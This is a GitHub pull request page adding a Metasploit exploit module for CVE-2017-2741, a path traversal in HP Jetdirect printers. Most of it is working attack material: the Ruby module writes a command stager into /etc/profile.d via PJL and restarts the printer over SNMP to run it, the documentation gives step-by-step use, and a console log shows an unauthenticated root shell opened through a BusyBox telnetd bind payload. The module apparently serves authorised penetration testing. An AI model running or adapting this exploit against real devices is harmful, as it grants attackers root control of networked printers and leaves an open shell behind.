Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

HP Jetdirect Path Traversal Arbitrary Code Execution CVE-2017-2741 #9364

Merged
merged 19 commits into from
Aug 24, 2018
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
## Vulnerable Devices

Impacted printers have a firmware version below 1708D.

Product Name | Model
---------------------------------------- | -------------------------------
HP PageWide Managed MFP P57750dw | J9V82A, J9V82B, J9V82C, J9V82D
HP PageWide Managed P55250dw | J6U55A, J6U55B, J6U55C, J6U55D
HP PageWide Pro MFP 577z | K9Z76A, K9Z76D
HP PageWide Pro 552dw | D3Q17A, D3Q17C, D3Q17D
HP PageWide Pro MFP 577dw | D3Q21A, D3Q21C, D3Q21D
HP PageWide Pro MFP 477dw | D3Q20A, D3Q20B, D3Q20C, D3Q20D
HP PageWide Pro 452dw | D3Q16A, D3Q16B, D3Q16C, D3Q16D
HP PageWide Pro MFP 477dn | D3Q19A, D3Q19D
HP PageWide Pro 452dn | D3Q15A, D3Q15B, D3Q15D
HP PageWide MFP 377dw | J9V80A, J9V80B
HP PageWide 352dw | J6U57B
HP OfficeJet Pro 8730 All-in-One Printer | D9L20A
HP OfficeJet Pro 8740 All-in-One Printer | D9L21A
HP OfficeJet Pro 8210 Printer | D9L63A, D9L64A
HP OfficeJet Pro 8216 Printer | T0G70A
HP OfficeJet Pro 8218 Printer | J3P68A

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/linux/misc/hp_jetdirect_path_traversal`
3. Do: `set rhost <hostname>`
4. Do: `exploit`
5. You should get a shell.

## Scenarios

### HP OfficeJet Pro 8210 Printer

The following demonstrates the exploit against a vulnerable printer model.
When the user is finished with the command shell session, they press control-c and
respond yes to abort the session. This action sends the `CommandShellCleanupCommand`
of the `cmd/unix/bind_busybox_telnetd` payload to the server in order to kill
telnetd that was used to get the command shell.

```
msf > use exploit/linux/misc/hp_jetdirect_path_traversal
msf exploit(linux/misc/hp_jetdirect_path_traversal) > set rhost 192.168.1.107
rhost => 192.168.1.107
msf exploit(linux/misc/hp_jetdirect_path_traversal) > exploit

[*] 192.168.1.107:9100 - Exploiting...
[*] Started bind handler
[*] 192.168.1.107:9100 - Connecting to port 9100...
[*] 192.168.1.107:9100 - Attempting to write command stager...
[+] 192.168.1.107:9100 - Successfully wrote command stager to 0:/../../rw/var/etc/profile.d/dLDZtDsh.sh
[*] 192.168.1.107:161 - Connecting to SNMP port 161...
[*] 192.168.1.107:161 - Initial value of prtGeneralReset OID 1.3.6.1.2.1.43.5.1.1.3.1 => 3
[*] 192.168.1.107:161 - Attempting to restart printer via SNMP...
[*] 192.168.1.107:161 - Set prtGeneralReset OID 1.3.6.1.2.1.43.5.1.1.3.1 => 4
[*] 192.168.1.107:161 - Current value of prtGeneralReset OID 1.3.6.1.2.1.43.5.1.1.3.1 => 3
[*] 192.168.1.107:161 - Printer restarting...
[*] Command shell session 1 opened (192.168.1.101:38141 -> 192.168.1.107:4444) at 2017-12-31 21:09:40 -0600


[root@HPC2A3FB ]# id
id
uid=0(root) gid=0(root)
[root@HPC2A3FB ]# uname -a
uname -a
Linux HPC2A3FB 3.14.32 #001.1614A Wed Mar 30 16:58:30 PDT 2016 armv7l GNU/Linux
[root@HPC2A3FB ]# ^C
Abort session 1? [y/N] y

[*] 192.168.1.107 - Command shell session 1 closed. Reason: User exit
msf exploit(linux/misc/hp_jetdirect_path_traversal) >
```

## Notes

The shell cleanup command should result in the payload automatically terminating
the telnetd service as the session completes. However, intermittent behavior was
observed and the source has not been identified. When closing a session please
verify, via a port scan or other desired method, that the port is no longer open.
If the port remains open, then the unauthenticated telnetd service is still running.
Establish a connection to the unauthenticated telnetd service and manually terminate
the process (`pkill telnetd`) to avoid leaving the host more insecure.
41 changes: 41 additions & 0 deletions documentation/modules/payload/cmd/unix/bind_busybox_telnetd.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
The cmd/unix/bind_busybox_telnetd payload provides a bind TCP Unix command shell
via BusyBox telnetd.

## Vulnerable Application

cmd/unix/bind_busybox_telnetd should work on either 32 or 64-bit Linux platforms
with BusyBox telnetd installed.

## Options

**LOGIN_CMD**

The command telnetd will execute on connect. The default value is `/bin/sh`
in order to provide a command shell.

### Advanced

**CommandShellCleanupCommand**

The command to run before the session is closed. The default value is
`pkill telnetd` and is used to avoid leaving a persistent command shell
that does not require authentication.

## Deploying cmd/unix/bind_busybox_telnetd

To set the payload:

1. In msfconsole, load the exploit.
2. Do: `set PAYLOAD cmd/unix/bind_busybox_telnetd`
3. Do: `exploit`

## Notes

The shell cleanup command should result in the payload automatically
terminating the telnetd service as the session completes. However, intermittent
behavior was observed and the source has not been identified. When closing a
session please verify, via a port scan or other desired method, that the port
is no longer open. If the port remains open, then the unauthenticated telnetd
service is still running. Establish a connection to the unauthenticated telnetd
service and manually terminate the process (`pkill telnetd`) to avoid leaving
the host more insecure.
9 changes: 5 additions & 4 deletions lib/rex/proto/pjl/client.rb
Original file line number Diff line number Diff line change
Expand Up @@ -177,17 +177,18 @@ def fsupload(path)
file
end

# Upload a file
# Upload a file or write string data to remote path
#
# @param lpath [String] Local path
# @param data_or_lpath [String] data or local path
# @param rpath [String] Remote path
# @param is_file [Boolean] True if data_or_lpath is a local file path
# @return [Boolean] True if the file was uploaded
def fsdownload(lpath, rpath)
def fsdownload(data_or_lpath, rpath, is_file: true)
if rpath !~ /^[0-2]:/
raise ArgumentError, "Path must begin with 0:, 1:, or 2:"
end

file = File.read(lpath)
file = is_file ? File.read(data_or_lpath) : data_or_lpath

@sock.put(
%Q{#{FSDOWNLOAD} FORMAT:BINARY SIZE=#{file.length} NAME = "#{rpath}"\n}
Expand Down
193 changes: 193 additions & 0 deletions modules/exploits/linux/misc/hp_jetdirect_path_traversal.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,193 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "rex/proto/pjl"

class MetasploitModule < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::Remote::SNMPClient
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'HP Jetdirect Path Traversal Arbitrary Code Execution',
'Description' => %q{
The module exploits a path traversal via Jetdirect to gain arbitrary code execution by
writing a shell script that is loaded on startup to /etc/profile.d. Then, the printer
is restarted using SNMP. Impacted printers:
HP PageWide Managed MFP P57750dw
HP PageWide Managed P55250dw
HP PageWide Pro MFP 577z
HP PageWide Pro 552dw
HP PageWide Pro MFP 577dw
HP PageWide Pro MFP 477dw
HP PageWide Pro 452dw
HP PageWide Pro MFP 477dn
HP PageWide Pro 452dn
HP PageWide MFP 377dw
HP PageWide 352dw
HP OfficeJet Pro 8730 All-in-One Printer
HP OfficeJet Pro 8740 All-in-One Printer
HP OfficeJet Pro 8210 Printer
HP OfficeJet Pro 8216 Printer
HP OfficeJet Pro 8218 Printer

Please read the module documentation regarding the possibility for leaving an
unauthenticated telnetd service running as a side effect of this exploit.
},
'Author' => [
'Jacob Baines', # Python PoC
'Matthew Kienow <matthew_kienow[AT]rapid7.com>', # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2017-2741' ],
[ 'URL', 'https://support.hp.com/lt-en/document/c05462914' ],
[ 'URL', 'http://tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution' ]
],
'Targets' => [
['Unix (In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Payload' => {
'Compat' => {
'PayloadType' => 'cmd'
}
},
]
],
'Privileged' => true,
'DisclosureDate' => 'Apr 05 2017',
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd',
'WfsDelay' => 180
}
))

register_options(
[
Opt::RPORT(Rex::Proto::PJL::DEFAULT_PORT),
OptPort.new('SNMPPORT', [true, 'The SNMP port', 161])
]
)
end

def execute_command(cmd, opts = {})
rpath = '0:/../../rw/var/etc/profile.d/'
stager_script_name = opts[:stager_script_name]
cmd = "(cd / && #{cmd}); rm -f /etc/profile.d/#{stager_script_name}"

begin
# use PJL to write command stager
print_status("Connecting to port #{rport}...")

pjl = Rex::Proto::PJL::Client.new(sock)
pjl.begin_job

pjl.fsinit(rpath[0..1])

print_status("Attempting to write command stager...")
rpath = "#{rpath}#{stager_script_name}"
if pjl.fsdownload(cmd, rpath, is_file: false)
print_good("Successfully wrote command stager to #{rpath}")
else
print_error("Failed to write command stager to #{rpath}")
return
end

# verify command stager exists
unless pjl.fsquery(rpath)
print_error("Command stager does not exist at #{rpath}; aborting...")
return
end

pjl.end_job

rescue Rex::ConnectionError
print_error("Connection Refused")
raise
end
end

def restart_printer
pjl_port = datastore['RPORT']
snmp_port = datastore['SNMPPORT']
community = datastore['COMMUNITY']
# Printer MIB prtGeneralReset object identifier (numeric notation)
prt_general_reset = '1.3.6.1.2.1.43.5.1.1.3.1'
# prtGeneralReset powerCycleReset(4) value
power_cycle_reset = 4

begin
# TODO: Update when there is a clean approach to using two or more mixins that both use RPORT.
datastore['RPORT'] = snmp_port
print_status("Connecting to SNMP port #{rport}...")
snmp = connect_snmp

# get value of Printer MIB prtGeneralReset
reset_value = snmp.get_value(prt_general_reset)
reset_value = "''" if reset_value.is_a?(SNMP::Null)
print_status("Initial value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")

# set value of Printer MIB prtGeneralReset to powerCycleReset(4)
print_status("Attempting to restart printer via SNMP...")
varbind = SNMP::VarBind.new(prt_general_reset, SNMP::Integer.new(power_cycle_reset))
response = snmp.set(varbind)

if response.error_status == :noError
print_status("Set prtGeneralReset OID #{prt_general_reset} => #{power_cycle_reset}")

# get value of Printer MIB prtGeneralReset
reset_value = snmp.get_value(prt_general_reset)
reset_value = "''" if reset_value.is_a?(SNMP::Null)
print_status("Current value of prtGeneralReset OID #{prt_general_reset} => #{reset_value}")
print_status("Printer restarting...")

else
print_error("Unable to set prtGeneralReset; SNMP response error status: #{response.error_status}")
end

rescue SNMP::RequestTimeout
print_error("SNMP request timeout with community '#{community}'")
raise
rescue SNMP::UnsupportedVersion
print_error("Unsupported SNMP version specified; use '1' or '2c'")
raise
rescue Rex::ConnectionError
print_error("Connection Refused")
raise
ensure
# restore original rport value
datastore['RPORT'] = pjl_port
end
end

def exploit
begin
opts = {
stager_script_name: "#{Rex::Text.rand_text_alpha(8)}.sh"
}

print_status("Exploiting...")
connect
if target.name =~ /Unix/
execute_command(payload.encoded, opts)
else
execute_cmdstager(opts)
end
restart_printer

return
ensure
disconnect
end
end

end
Loading